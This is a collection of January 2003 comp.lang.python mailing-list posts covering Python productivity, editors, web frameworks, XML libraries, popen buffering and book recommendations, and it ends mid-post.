From pyth at devel.trillke.net  Mon Jan  6 14:59:24 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Mon, 6 Jan 2003 20:59:24 +0100
Subject: new years resolutions
In-Reply-To: <3ehj1vo4un9m8vvtc51iac1j46btlih4cv@4ax.com>; from sasDOTepsylon@wanadoo.fr on Mon, Jan 06, 2003 at 07:08:24PM +0100
References: <mailman.1041550805.3550.python-list@python.org> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <mailman.1041710048.20334.python-list@python.org> <avahot$1ji$1@nyheter.chalmers.se> <3ehj1vo4un9m8vvtc51iac1j46btlih4cv@4ax.com>
Message-ID: <20030106205924.E17919@prim.han.de>

EpSyLOn wrote:
> On 6 Jan 2003 00:14:21 GMT, jacob at cd.chalmers.se (Jacob Hallen) wrote:
> 
> >In article <mailman.1041710048.20334.python-list at python.org>,
> >Cliff Wells  <clifford.wells at attbi.com> wrote:
> >>"The world is divided into two kinds of people: Those who divide the
> >>world into two kinds of people, and those who don't."
> >>    Robert Benchley
> >
> >The world is divided into three kinds of people. Those who can count and
> >those who can't.
> 
> The world is divided into 10 kinds of people : those who understand
> binary and those who don't. ;-)

now that's nice new variation (for me)!




From aleax at aleax.it  Thu Jan 30 17:12:30 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 22:12:30 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <pu@myRealBox.com> <mailman.1043781593.6864.python-list@python.org> <2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com> <kB1_9.3814$wd2.301194@newsread2.prod.itd.earthlink.net> <EO6_9.140743$AA2.5799807@news2.tin.it> <n5h_9.5386$Wu1.386311@newsread1.prod.itd.earthlink.net>
Message-ID: <irh_9.106910$0v.3087534@news1.tin.it>

Brandon Van Every wrote:

> Alex Martelli wrote:
>>
>> Python is ALSO a great productivity tool for average programmers,
>> raising their productivity (on the some hypothetical scale) from, say,
>> 20 to 60.
> 
> Why don't they just shoot themselves in the foot with all the new
> concerns, until they've mastered the drill and hence have become better
> programmers?

Because the "new concerns" are not necessarily major ones.  One
can get started and be very productive with Python surprisingly
fast.

> Sounds like the progression might be more like 20, 25, 15,
> 10, 20, 25, 30,
> 60.  Over that time period, how much better would they have gotten with
> C++?

Your ear is playing you false, again.  The short time it takes
to become highly productive with Python does not afford any
substantial chance of becoming much better with C++: the
latter is just too complex for any _rapid_ improvement.


>> Therefore, it IS indeed no magic bullet -- it doesn't make the
>> average programmer the equal of the excellent one -- but it would
>> still be a stupid choice to forego its advantages at any level.
> 
> You would not inflict new tools on dummies needlessly.  You have to allow
> for training time to achieve benefits.

The key word that makes your statement irrelevant is "needlessly".

But let's start with "dummies" first: if they ARE dummies then
they should avoid C++ at almost any cost -- it's TOTALLY unsuitable
for programmers outside the top few centiles anyway (being in the
top few centiles is a necessary, but not a sufficient, condition
for being in one of the very few cases where C++ is advisable).

So, supposing they ARE about average among the people who possibly
SHOULD be programming in C++ -- making them two or three times
more productive is NOT needless: it's the kind of productivity
jump that can make the difference between a firm's success and
failure, indeed between a whole nation's impoverishment and
enrichment.


Alex




From printers at sendme.cz  Sat Jan 25 12:30:52 2003
From: printers at sendme.cz (A)
Date: Sat, 25 Jan 2003 18:30:52 +0100
Subject: How to download a file only once 
Message-ID: <3E32D7DC.6566.1A8145@localhost>

Hi all,
 
My Python application runs on  users' computers.
 I want to allow  one and only one user to download one file from the list of files that are on 
server. This file, after being downloaded, can not be downloaded any more.
What is the best solution of that problem?
Thanks for help.
Ladislav
 





From peter at engcorp.com  Sat Jan  4 11:09:49 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 04 Jan 2003 11:09:49 -0500
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <pcn2va.go3.ln@beastie.ix.netcom.com> <3E150202.4CB9A9B2@engcorp.com> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <2282.3e16c72c.ed40b@basilisk>
Message-ID: <3E17074D.E8BB49F4@engcorp.com>

Pieter Nagel wrote:
> 
> Peter Hansen wrote:
> > Mike Meyer wrote:
> 
> >>Personally, I think that insisting that programming languages be
> >>turing complete is a better definition
> ...
> > That's another definition and, as it's clearly more constraining,
> > possibly a more useful one.  It's not widely used, however,
> 
> Ahem. Which circles do *you* hang out in? :-)
> 
> Turing Completeness has been the one and only rigorous mathematicall
> definition of "programming language" for *decades*, now.

Please provide a link to an online reference which I can read to 
learn more about this _standard and universal_ definition of the term.

Thank you.

-Peter



From cavada at irst.itc.it  Mon Jan 20 10:09:32 2003
From: cavada at irst.itc.it (Roberto Cavada)
Date: Mon, 20 Jan 2003 16:09:32 +0100
Subject: lots of similar classes?
In-Reply-To: <53ce2726.0301200637.611c2041@posting.google.com>
References: <53ce2726.0301200637.611c2041@posting.google.com>
Message-ID: <3E2C112C.1060100@irst.itc.it>

boncelet wrote:
> class Super:
>   def __init__(self,name,lots_of_other_arguments):
[CUT]

> class A(Super):
>   def __init__(self,name='a',lots_of_other_arguments):
>     Super.__init__(self,name,lots_of_other_arguments)
[CUT]
> 
> My problem is rewriting the "lot_of_other_arguments" over and over
> again seems wasteful, error-prone, and fragile. 

mmm, see at the apply function, which you can use to call 
Super.__init__ by using a list of values to be assigned to its 
arguments. (The first element of the list must be 'self'.)
This requires that calling methods receive a list of "actual 
parameters" that implicilty respect the formal parameters order in the 
called method.

In another possible scenario, you can define a metaclass in order to 
automatically connect  formal and actual parameters. Connection could 
be performed via some syntactic rule you define.
rob

------------------------------------------------------
Roberto Cavada
ITC-irst Institute for Scientific and Technological Research
Automated Reasoning Systems - Formal Methods Group
Via Sommarive, 18 - 38050 Povo (TN) - Italy
Tel: +39 0461 314 321   Fax: +39 0461 302 040
cavada at irst.itc.it  http://sra.itc.it/people/cavada/
------------------------------------------------------





From maxm at mxm.dk  Thu Jan 30 04:58:48 2003
From: maxm at mxm.dk (Max M)
Date: Thu, 30 Jan 2003 10:58:48 +0100
Subject: URLLIB2 
In-Reply-To: <6Y5_9.63194$ZE.1736027@twister2.libero.it>
References: <yiOZ9.59194$ZE.1647153@twister2.libero.it> <aUQZ9.47296$Hl6.6059165@news010.worldonline.dk> <FnVZ9.60428$YG2.1700846@twister1.libero.it> <_FYZ9.47565$Hl6.6097192@news010.worldonline.dk> <6Y5_9.63194$ZE.1736027@twister2.libero.it>
Message-ID: <3E38F758.7000901@mxm.dk>

Pigio? wrote:
> Ok, but when urllib2 complete the connections normally returns a response
> (also the exception). In my case urllib2 remains on  expectation mode
> (doesn't return).


That is probably beause the connection hangs.

There is a module called "timeoutsocket" or something like that, wich 
stops the connetction after a certain time.

Try Google

-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From mertz at gnosis.cx  Tue Jan  7 13:19:38 2003
From: mertz at gnosis.cx (David Mertz)
Date: Tue, 07 Jan 2003 13:19:38 -0500
Subject: Books: Core Python Programming vs. Python Cookbook
Message-ID: <6oxG+kKkXInF092yn@gnosis.cx>                       

sir_penguin.geo at yahoo.com (Neil MacMillan) wrote previously:
|I'm a 1st year computer science student, but I've been teaching myself
|Python as my first useful programming language
|Core Python for explanations of specific things...
|I looked at Python Cookbook, which seemed interesting too.

Of these two, I would recommend Chun's book to someone just learning
Python.  In fact, of the more than half dozen introductory books, _Core
Python_ is probably my favorite, but _Learning Python_ and _Python
Bible_ are both good (avoid the Martin Brown titles at all costs; all
the others are OK).

_Python Cookbook_ is a really nice book, but it is aimed more at
experience Python programmers looking for clever tricks and techniques
that they may not have thought of.  I think a beginner might get
disoriented by _Cookbook_.  However, I look forward to Martelli's
_Python in a Nutshell_, which I'm sure will be an excellent
introduction, but that's not quite on shelves yet.

Of course, my vanity has to proclaim that you should read my book,
<http://gnosis.cx/TPiP/>.  On the big downside, you won't be able to by
that on shelves until a couple months after you can get _Nutshell_.
Still, you are free to download the text for personal use now.

Yours, David...

--
 mertz@  _/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: \_\_\_\_    n o
gnosis  _/_/             Postmodern Enterprises            \_\_
.cx    _/_/                                                 \_\_  d o
      _/_/_/ IN A WORLD W/O WALLS, THERE WOULD BE NO GATES \_\_\_ z e





From polux2001 at wanadoo.fr  Sun Jan 12 19:21:37 2003
From: polux2001 at wanadoo.fr (polux)
Date: Mon, 13 Jan 2003 01:21:37 +0100
Subject: [ANN] 3D game in Python!
In-Reply-To: <20030111181843.2c7c52aa.jiba@tuxfamily.org>
References: <20030111181843.2c7c52aa.jiba@tuxfamily.org>
Message-ID: <avt0qg$fks$1@news-reader11.wanadoo.fr>

traJiba wrote:
> Hi every one!
> 
> Slune is a 3D racing and action game in Python. It currently runs only under Linux and is available under the GPL.
> 
> See http://oomadness.tuxfamily.org/en/slune for screenchots or download the 0.1 release!
> 
> The game itself and the network engine are fully written in Python. The 3D engine is in C and Python too.
> 
> Enjoy!
> 
> Jibat

travail remarquable !




From bhv1 at psu.edu  Wed Jan 29 11:21:10 2003
From: bhv1 at psu.edu (Brian Victor)
Date: Wed, 29 Jan 2003 16:21:10 GMT
Subject: freeze, wxPython, and OSX
Message-ID: <slrnb3fvqi.fir.bhv1@pa-steclge-u3-c3b-133.stcgpa.adelphia.net>

I would like to be able to freeze a wxPython program so that it can run
on another box without having to install the entire python suite of
files.  The rest of my post assumes this is possible. ;)

I compiled (in this order) wxMac 2.4.0, Python 2.2, and wxPython
2.4.0.2.  I added --with-opengl to wxMac, but the configure lines were
otherwise bare.  All three "make install"ed without complaint.  I'm
using the December 2002 Developer Tools on OSX 10.2.3.

Used freeze.py to try to freeze a simple "hello world" program.
macfreeze.py didn't work at all, and it seems to be a CodeWarrior only
thing.  I tried a "make" and got an error about libpython2.2.a not being
in
/Library/Frameworks/Python.framework/Versions/2.2/lib/python2.2/config.
So I put it there.  Ranlib complained, so I reran it.  Finally it
linked.  But running it shows the following:

Traceback (most recent call last):
  File "/Users/bhv1/Desktop/helloworld.py", line 1, in ?
    from wxPython.wx import *
  File
"/Library/Frameworks/Python.framework/Versions/2.2/lib/python2.2/site-packages/wxPython/__init__.py",
line 20, in ?
    import wxc
ImportError: No module named wxc

Which isn't surprising, considering that freeze reported this:

generating table of frozen modules
Warning: unknown modules remain: MacOS _Ctl _Dlg _Evt _Menu _Qd _Res
_Win _locale _socket binascii cStringIO errno icglue macfs math pcre pwd
select strop struct termios time wxPython.wxc

Is there a way to do what I want it to do?  I imagine that even if I get
past this, I'll need to find a way to properly Rez the resulting binary
so that the compiled application shows up properly.

Thanks in advance for any insight.

-- 
Brian



From marklists at mceahern.com  Wed Jan 29 12:23:24 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Wed, 29 Jan 2003 11:23:24 -0600
Subject: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!)
In-Reply-To: <slrnb3fg29.gon.rmunn@localhost.localdomain>
Message-ID: <JHEOKEOOLIGLDHCMAHMOEEEGFPAA.marklists@mceahern.com>

[Robin Munn]
> You know, the more I see the debate about spaces and tabs, the more
> puzzled I become that anyone still wants to use tabs.

I agree.  I prefer spaces too.  But what those who prefer tabs would say, I
think, is that they prefer tabs because if everyone used tabs, we wouldn't
have this problem.  ;-)

I haven't been following this thread, so I'm sure what I just said has
already been said (if not in this thread, surely countless times before).

Oh, another reason tabs are a problem is sometimes you end up
copying/pasting code that originally had tabs, but at some part in the chain
the tabs became spaces.  Since tabs devolve to spaces in some scenarios--and
not vice-versa--why not just start with spaces to begin with?

I'm sure there are tools out there that allow you to enforce a preference
for spaces, reindent.py, pychecker, etc.

This point will be argued by others until the cow turns blue.  Thankfully, I
won't be there to see.  ;-)

Cheers,

// m

-





From rganesan at myrealbox.com  Fri Jan  3 07:28:10 2003
From: rganesan at myrealbox.com (Ganesan R)
Date: 03 Jan 2003 17:58:10 +0530
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <x7bs2y98or.fsf@guru.mired.org> <slrnb1ac1r.j1t.grey@teleute.dmiyu.org> <ouel7ur3pg.fsf@andlx-anamika.cisco.com> <slrnb1amgh.k1t.grey@teleute.dmiyu.org>
Message-ID: <ouadiiquxx.fsf@andlx-anamika.cisco.com>

>>>>> "Steve" == Steve Lamb <grey at despair.dmiyu.org> writes:

> On 03 Jan 2003 14:48:51 +0530, Ganesan R <rganesan at myrealbox.com> wrote:
>> I see, it's about scripts. Programs written in Lisp are something beneath
>> you. That's fine :-).

>     No.  Let me put it another way.

>     Will the lisp scripts work outside of Emacs on a lisp only engine?  No?
> Why not?  

No, because your "scripts" will call emacs internal functions. I don't
expect jed extension scripts to work outside of jed though it's written in
slang (a language that slrn also uses) for the same reason. 

>     It is the melding of an editor with a scripting language *and then* the
> penchant for having everything under the sun programmed for it.  If the
> extensions were somehow related to editing I can understand that.  

Then, you're not really complaining about emacs. You are complaining about
extension authors who have gone ahead and written everything under the sun,
as you put it, using the extension language. This actually argues for
Emacs. If the programming language is powerful enough, people can and will
program crazy things with it. 

I find some of them useful, others not. For example I use gnus as a
newsreader because it's the best out there. I like it better than Pan, slrn
or mozilla news. I don't use any of the emacs mailers (I prefer mutt), or
the web browser (w3) written to it because I find galeon more useful. I am
even amazed that w3 exists though I don't actually use it. It's mere
existence doesn't make my emacs "bloated".

> For example vim too is extensible.  I have a script for using aspell for
> spell checking.  Spell checking happens to be a common enough thing that
> people would do.  It isn't common enough that it should be included in a
> text editor.  It is its own application and I am glad that I can swap it
> out for something else if something better comes along.  OTOH an editor
> having an entire newsreader written for it in the scripting language is
> like having tetris written in the scripting language.  What the hell do
> either of those have to do with editing?  Nothing.

Actually, there does exist a tetris written for emacs :-). I actually happen
to like a game called gomoku written in emacs lisp. I still fail to see your
problem. If any thing, it only proves that Richard Stallman chose an
excellent extension language for Emacs (though I admit I would prefer pymacs
myself). 

It then appears that your main complaint is that emacs ships with all these
extensions that have nothing to do with editing. It's a valid complaint, I
cringe at the size of distribution for every new emacs release. Emacs 20 is
all of 28megs on my disk - emacs21 is 40meg. I wish many of the stuff gets
separated out that so that I can install only what I need. But then some
people like "batteries included" for their entire life time :-). I guess
I'll have to live with that :-).

>     It is that mixing of two jobs into a single whole that is the problem.
> Is it an editor?  No, it is a lisp engine.  Is it a lisp engine?  No, it
> is an editor.  Sorry, don't think they mix.

Actually, I think they mix pretty very well. I am not sure if it's because
it had a lisp engine or because it was the only editor around at the time
with a complete programming language to write programming extensions for it.

>     'sides, if I wanted a language embedded into my editor (instead of called
> from) I much prefer Python be it.

So would I :-). But, that doesn't stop me from taking advantage of what has
been already written. Listen, you have valid complaints about emacs. I also
cringe at how much it has grown. But please don't be misled by the myth that
it is bloated. There is reason for the "bloat" and these days is not all
that bad actually. For example here's the top output of a newly started
emacs and gvim. Not bad right.

  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
  739 rganesan  15   0  7360 7360  3992 R     0.0  2.8   0:00 emacs
  742 rganesan  15   0  6312 6312  4144 S     0.0  2.4   0:00 gvim

Actually, vim isn't too bad (around 2+MB) on start up. GTK+ adds a lot of
"bloat". xjed does a lot better

  752 rganesan  15   0  2232 2232  1612 S     0.0  0.8   0:00 xjed

Don't even get me started about these "modern" IDEs. Eclipse starts at
60Meg, even the so called "fast" IntelliJ starts at 40Meg. I guess both of
them would count as serious editors in your book. Now, that's bloat.

Let's take two standard editors in KDE and GNOME.

  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
18060 rganesan   9   0  8000 8000  6732 S     0.0  3.1   0:00 kedit
18219 rganesan  10   0  5136 5136  3968 S     0.0  2.0   0:00 gedit

Sorry for keeping this out of topic thread alive in this newsgroup. I'll
shut up now. 

Ganesan

-- 
Ganesan R




From spahievi at vega.bg  Mon Jan 20 16:17:25 2003
From: spahievi at vega.bg (Niki Spahiev)
Date: Mon, 20 Jan 2003 23:17:25 +0200
Subject: UML and Python
In-Reply-To: <OGFW9.1425$Sv3.183917@newsread1.prod.itd.earthlink.net>
References: <OGFW9.1425$Sv3.183917@newsread1.prod.itd.earthlink.net>
Message-ID: <716936133.20030120231725@vega.bg>

1/20/2003, 0:31:10, Terry Hancock wrote:

TH> Does UML work for Python? In particular, given some of the Zope extensions 

[...]

TH> Thanks for any opinions or shared experiences,


Check System Modeling Workbench at www.abo.fi/~iporres

-- 
Best regards,
 Niki Spahiev





From aahz at pythoncraft.com  Thu Jan  9 17:26:14 2003
From: aahz at pythoncraft.com (Aahz)
Date: 9 Jan 2003 17:26:14 -0500
Subject: threading with re module
References: <f105dedd.0301091319.7fb001a2@posting.google.com>
Message-ID: <avksu6$kke$1@panix2.panix.com>

In article <f105dedd.0301091319.7fb001a2 at posting.google.com>,
paul <securityguy100 at hotmail.com> wrote:
>
>is there any alternative to the standard re module that is
>thread-safe? i saw some discussion of pregex but it dates back to '97.
>is that still around? if not, what are people doing to get thread-safe
>regex in python?

What makes you think the re module is not thread-safe?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"I used to have a .sig but I found it impossible to please everyone..."  --SFJ



From timr at probo.com  Thu Jan  9 02:37:31 2003
From: timr at probo.com (Tim Roberts)
Date: Wed, 08 Jan 2003 23:37:31 -0800
Subject: XML and Python
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com>
Message-ID: <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com>

Paul Smith <nospam1 at acmecomm.net> wrote:
>
>Hi gang,
>	I recently rediscovered Python, and I'm interested in using it for a 
>project I'm embarking on. It involves a lot of XML/XSLT processing, and 
>I'm trying to figure out which python XML module set/paradigm to 
>concentrate on.
>	Can anyone point me to a resource which compares and contrasts, and 
>describes the interalationships between the many python XML packages out 
>there? I've briefly looked through xmllib, 4Suite, libxml2, and PyXML, 
>and found there's a lot of overlap and inbreeding. Anyone out there with 
>experience using these various packages care to run down the 
>virues/faults of each and balance ease-of-use vs. features?

I _STRONGLY_ recommend that you invest in the book, "Python & XML" by
Christopher Jones & Fred Drake.  I'm only half-way through, and it's
already been worth the money.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From smulloni at smullyan.org  Mon Jan  6 09:36:16 2003
From: smulloni at smullyan.org (Jacob Smullyan)
Date: Mon, 06 Jan 2003 09:36:16 -0500
Subject: php vs python
References: <mailman.1041729428.4428.python-list@python.org> <9d791d77.0301060309.67c7d5f8@posting.google.com> <4lvi1v43744lo82btdhkk928vf8db3i40n@4ax.com>
Message-ID: <pan.2003.01.06.14.36.16.753441@smullyan.org>

On Mon, 06 Jan 2003 14:04:37 +0100, Yar3k wrote:
> On 6 Jan 2003 03:09:42 -0800, u9300103 at mail.lssh.tp.edu.tw (Tiberius
> Teng) wrote:
> 
>>Be sure to check out Spyce (http://spyce.sourceforge.net/) if you want
>>to compare Python with PHP. :)
> 
> Cheetah templates are even better. Check this
> http://www.cheetahtemplate.org/Py10.html

I'll put in my two bits for SkunkWeb (http://skunkweb.sf.net/),
which is easy to transition to from PHP.  I've written an article
introducing it in open source digest: http://opensourcedigest.org/.

But I recommend looking at the web programming page of the Python Wiki
to get an idea of all your alternatives: 
http://www.python.org/cgi-bin/moinmoin/WebProgramming.

Cheers,

Jacob Smullyan



From peter at engcorp.com  Thu Jan 30 10:37:52 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 30 Jan 2003 10:37:52 -0500
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
Message-ID: <3E3946D0.11555AE6@engcorp.com>

Dale Strickland-Clark wrote:
> 
> In many places, often small utility functions, I find myself using the
> form:
> 
> lst = maybeAnArg
> if type(lst) not in (list, tuple)
>     lst = [lst]
> for x in lst:
>     whatever
[...] 
> In other words, I want to be able to treat an argument of arbitrary
> type as a list of 1 if it isn't already a list.
> 
> Has anyone got a neater way of doing this?

Define "neater". :-)

This is probably a better approach in several ways:

def ensureList(thing):
  try:
    return list(thing)
  except TypeError:
    return [thing]


-Peter



From abelikov72 at hotmail.com  Tue Jan 21 07:26:02 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 21 Jan 2003 12:26:02 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <23891c90.0301210334.6d719987@posting.google.com>
Message-ID: <rudq2vkfi6akc6absu404fbolmfec5m10a@4ax.com>

On 21 Jan 2003 03:34:28 -0800, paul at boddie.net (Paul Boddie) wrote:

>> * Provide a fairly equivalent framework w/ sessions, cookies, get, post
>>   (Described in http://www.boddie.org.uk/python/web_frameworks.html)
>>   (eg. I should not have to write code to parse query strings, etc.)
>>   (PHP is somewhat unique in the ways it can bring in post variables)
>
>I'm not familiar with PHP, but with most Python frameworks you don't
>need to parse the raw HTTP inputs, and with many frameworks you have
>convenient interfaces to those inputs. Webware provides a servlet-like
>interface, although it's much more "sane" than the Java Servlet API
>(in case you were wondering).
>
>As for the "unique" aspects of PHP's variable handling, are you
>referring to something like this...?
>
>  http://www.php.net/manual/en/security.registerglobals.php

I am referring to things like PHP automatically splitting multi-valued
form fields (checkboxes, select/option) into arrays for you if you just
name them, in the html, with [] appended. Just a thoughtful addition.

Or perhaps Python developers consider it another horrible implicit.

>> * Allow sending of raw binary data, for restricted file downloading
>>   (eg. http://example.com/sendfile.php?id=A6DE12FAB3...etc)
>>   (This requires header manipulation, specifically the mime type)
>>   (That sort of thing should be part of the framework 3 bullets up)
>
>You mean full control over headers and the ability to bypass the
>templating system?

To clarify, this requirement means I need to be able to explicitly replace
the request result such that it is in effect returning a binary file for
download. This is often used for secure downloading of protected files.

This requirement implies some method for customizing request result
headers, specifically Content-type/disposition/transfer-encoding/etc.
A good platform will simply allow customization of all headers.
(Header modification, as mentioned, is part of the framework requirement)

Additionally, some platforms might have a problem with including the
binary file as the actual result of the request (after the headers).

>> * Allow SSL secured authorize.net credit card processing
>>   (I currently use PHP's libcurl+ssl module)
>
>This is presumably where your application connects out to another
>application - some kind of back-end integration. This should be
>possible, yes, but I'm not aware of any components for it that just
>plug into a Python framework or application server, although there
>could be a product available for Zope. Meanwhile, various Webware
>people may have experience with this kind of thing even though the
>Webware framework doesn't have a "checkbox feature" entitled "credit
>card processing".

You need to be able to automate a post from https to https (with the
ability to fake referer) and parse the result of your request.

I've done half of this with Python scripts already for an entirely
different end-effect, but never using SSL and never faking HTTP_REFERER.

>> * Big plus, but optional, auto prepend/append files
>>   (eg. Apache+PHP has .htaccess directives like this )
>>   (    php_value auto_prepend_file "_header.php"     )
>>   (    php_value auto_append_file "_footer.php"      )
>>   (granular down to the directory 
>
>That's an Apache thing, surely, so you might want to check to see
>whether various frameworks and templating systems are open to such
>external content manipulation - ie. that they generate page fragments
>rather than full pages. I would guess that most systems are.

It's a mod_php thing. PHP, and mod_python, are optionally configurable
in Apache's rather flexible configuration system; allowing per directory
granularity if desired, and cascading/inheritance to subdirectories.
( Of course, there are a couple other ways to configure,
  and security for the different methods and directives  )

Anyway, the ability to implicitly include was the requirement.
I gave an example of how it is done in PHP for reference.

Thanks for the info, I will check out the Wiki.
So far, additional platforms I have found are strangely non-elegant.



From laocoon at eudoramail.com  Fri Jan 17 09:22:24 2003
From: laocoon at eudoramail.com (Lao Coon)
Date: Fri, 17 Jan 2003 15:22:24 +0100
Subject: it does not work again. Re: help!! getting output from another process line by line, using popen
References: <b08ka1$q8l8@imsp212.netvigator.com> <Xns9306963ED78FFLaocoon@62.153.159.134> <b092m1$8vf11@imsp212.netvigator.com>
Message-ID: <Xns93069C6BE98EELaocoon@62.153.159.134>

*snip*
>> 
>> This has something to do with the way the output is returned here..
>> When you say "for line in handle" read() is called, it waits
>> until everything has been received and then returns it as a list(only
>> once). To fix it explicitly call readline() instead.
>> 
>> HTH
>> Lao
> 
> if you mean that "handle = os.popen(cmd, 'r', 1).readlines()", it wont
> work. it waits till finish running cmd, then go to the "for loop".
> 
> thanks anyway

No i think you misunderstood.. 

Here's the fixed monitor.py

###
import sys, string, os

handle = os.popen("python -u output.py", 'r')

while 1:
	line = handle.readline()
	if line == "": break
	print line,

handle.close()
###

Try this

Lao



From otttr440 at student.liu.se  Sat Jan 25 06:44:56 2003
From: otttr440 at student.liu.se (Otto Tronarp)
Date: 25 Jan 2003 12:44:56 +0100
Subject: Database newbie - Sound Software Engineering practice for DB
In-Reply-To: <GpSdnStfusdBYbCjXTWcpw@comcast.com>
References: <mailman.1043194598.32555.python-list@python.org>
	 <GpSdnStfusdBYbCjXTWcpw@comcast.com>
Message-ID: <1043495096.1012.26.camel@mathcore2>

On Wed, 2003-01-22 at 03:07, Justin Shaw wrote:
> It looks like you are on the right track.  Keep asking yourself these
> questions.  I have interjected my thoughts throughout.
> Justin
> 
> "Otto Tronarp" <otttr440 at student.liu.se> wrote in message
> news:mailman.1043194598.32555.python-list at python.org...
> > Hi,
> >
> > I'm a complete database newbie, the little I know I learned the last
> > couple of hours when browsing the web, and have a couple of questions on
> > what sound software engineering practice is when it comes to using
> > databases.
> >
[snip]

> >
> > But often I want different constraints on the query, like only matches
> > before a specific date or in a specific time period, etc. I could do a
> > getHomeMatchesBeforeDate(self, team, date),
> > getHomeMatchesForTimePeriod(self, team, start_date, end_date) but it is
> > pretty clumsy so I want something like getHomeMatches(self, team,
> > constraints), any ideas how I could implement that in a smooth way?
> 
> Make the common thing easy and the uncommon possible.  I do this by writing
> the common querries as you have with a couple of extra defaulted arguments:
> fields='*' and where='1'.  Then your query becomes something like
> 
> sql = 'select %s from TABLE where %s' % (fields, where)
> 
> I am working on a python/MySQL spelling application currently that three
> data layers and a GUI layer.  The data layers are:
> 1. database later (MySQL)
> 2. DB module -- class reprensentation of the database tables
> 3. SmartRow module -- class represention of the rows and relationships.
> 
> The application only interacts with the SmartRow module.  You can browse the
> csv on our sourceforge project if you want to have a look.
> http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/spellquest/spellquest/spellqu
> est/
> 

Thanks, that looks like a good example to study. Smal enough so I can
grasp it quickly and big enough so I actually learn something. I'll
definitely take a closer look at it.


> I've seen a few projects that are supposed to automatically write the
> interface to your db but I haven't tried the.  Check out the daily python
> url (linked on python.org), I think I saw them there.
> 
> Good luck and let me know if you have any good ideas for SpellQuest


Thanks for your comments.

Regards,
Otto





From dyoo at hkn.eecs.berkeley.edu  Fri Jan 10 16:55:54 2003
From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo)
Date: Fri, 10 Jan 2003 21:55:54 +0000 (UTC)
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org>
Message-ID: <avnfha$1haj$1@agate.berkeley.edu>

Kyler Laird <Kyler at news.lairds.org> wrote:

:>    Get an HTML parser--then be ready to
:>    tweak it to accept all the junk that roams
:>    around in the wild.

: Exactly.  I think I've thrown up my hands most times I've
: attempted to use an HTML parser.  I considered it for this
: task but after thinking about it for awhile I decided that an
: RE would be far more elegant.

Hi Kyle,

I know this isn't quite addressing your question, but have you seen
HTML-Tidy?

    http://www.w3.org/People/Raggett/tidy/

This utility can enforce a kind of structure to even weird HTML, so
that you can more easily use 'sgmllib' or an HTML parser on tidy'ed
HTML.  Of course, it's not perfect, but it does work admirably well.

There is a Python interface to HTML-Tidy by the author of the
mxTextTools:

    http://www.lemburg.com/files/python/mxTidy.html


Good luck to you!



From karsten at rohrbach.de  Fri Jan  3 15:28:42 2003
From: karsten at rohrbach.de (Karsten W. Rohrbach)
Date: 3 Jan 2003 20:28:42 GMT
Subject: OOPServer Released
References: <mailman.1041604082.25895.clpa-moderators@python.org>
Message-ID: <slrnb1bsp5.2ctr.karsten@datasink.webmonster.de>

Thomas Guettler <guettli at thomas-guettler.de> wrote:
> The implementation of OOPServer is 100% Python and avoids DTML, ZPT
> and Acquisition.

Why would one want to avoid acquisition in Zope?
It is one of the system's intrinsic features that brought me to Zope and
kept me using it for all those years.

Regards,
/k



From phr-n2003b at NOSPAMnightsong.com  Fri Jan 31 12:42:28 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 31 Jan 2003 09:42:28 -0800
Subject: mention of books & extensions welcome, or...? (was Re: Scripting *of* Python)
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it> <yyyvg05kzne.fsf@adams.patriot.net> <soy_9.151609$AA2.6131659@news2.tin.it>
Message-ID: <7xu1fpp663.fsf@ruckus.brouhaha.com>

Alex Martelli <aleax at aleax.it> writes:
> Is this just an isolated opinion, with most readers still welcoming
> mentions and details about Python books and extension packages; or,
> has comp.lang.python's consensus shifted so drastically, so fast, so
> that such mentions are now seen as undesirable "product
> placement"???
> 
> I would like to know, because, if the latter is indeed the case,
> then I can simply omit posting anything that mentions any Python
> book or third-party extension -- e.g. "this is covered in the
> Nutshell", "Holden's book has a good example of this",
> "twisted.internet is just right for this task", and the like.  

Certainly, mentions of free software like Twisted should always be ok.
For proprietary products including books, there's a bit more conflict;
I'd say it's best to be a bit judicious about plugging such products,
